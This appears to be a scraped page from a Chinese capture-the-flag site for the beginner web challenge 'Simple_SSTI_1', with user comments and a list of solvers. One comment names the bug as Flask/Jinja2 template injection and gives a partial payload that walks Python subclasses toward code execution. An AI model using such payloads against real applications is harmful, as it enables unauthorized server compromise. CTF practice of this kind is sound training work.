Simple_SSTI_1WEB 未解决

分数: 5 金币: 2
题目作者: valecalida
一  血: dotast
一血奖励: 2金币
解  决: 28116
提  示:
描  述:
Simple_SSTI_1
评论
陌染缥 3年前

全靠网上搜索

回复 2

alnejok 3年前

我连flask是什么都不知道/(ㄒoㄒ)/~~

回复 1
18734338837 3年前

一样一样

回复 0

renbangli 3年前

解题全靠搜我是废物 https://blog.csdn.net/weixin_43202635/article/details/115612244

回复 12

15103261566 3年前

金币不够用了啊

回复 0
sunny 3年前

可以通过答题、签到、投稿、充值获得金币。

回复 3

ccabner 3年前

源代码中提示很明确

回复 3

1528730734 3年前

太难了

回复 3

流鼻涕的火柴人 3年前

为什么场景进不去???

回复 0
huangdoudou 3年前

我也进不去

回复 0

Bugku666 3年前

我承认我自卑....

回复 3

soseny 3年前

不是很懂啊

回复 0

Sextbeast 3年前

这个漏洞是Flask(Jinja2)服务模板注入漏洞,可以构造payload: {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__c

回复 9

WriteUp

image
valecalida

5 金币

评分(49)

解题动态

18075013015 攻破了该题 1小时前
zypts 攻破了该题 1天前
MD 攻破了该题 2天前
call1ng 攻破了该题 2天前
zmzm 攻破了该题 3天前
19513396653 攻破了该题 5天前
摇曳露营芝麻凛 攻破了该题 5天前
kfdwty 攻破了该题 5天前
Ta7suya 攻破了该题 6天前
HK1ng 攻破了该题 7天前
sun_space 攻破了该题 7天前
zbss 攻破了该题 8天前
ct1640 攻破了该题 8天前
liuliuliu666 攻破了该题 10天前
r00t2025 攻破了该题 11天前
1748684229 攻破了该题 12天前
17778438489 攻破了该题 12天前
yangty 攻破了该题 16天前
smtall 攻破了该题 16天前
3028545694 攻破了该题 16天前
问题反馈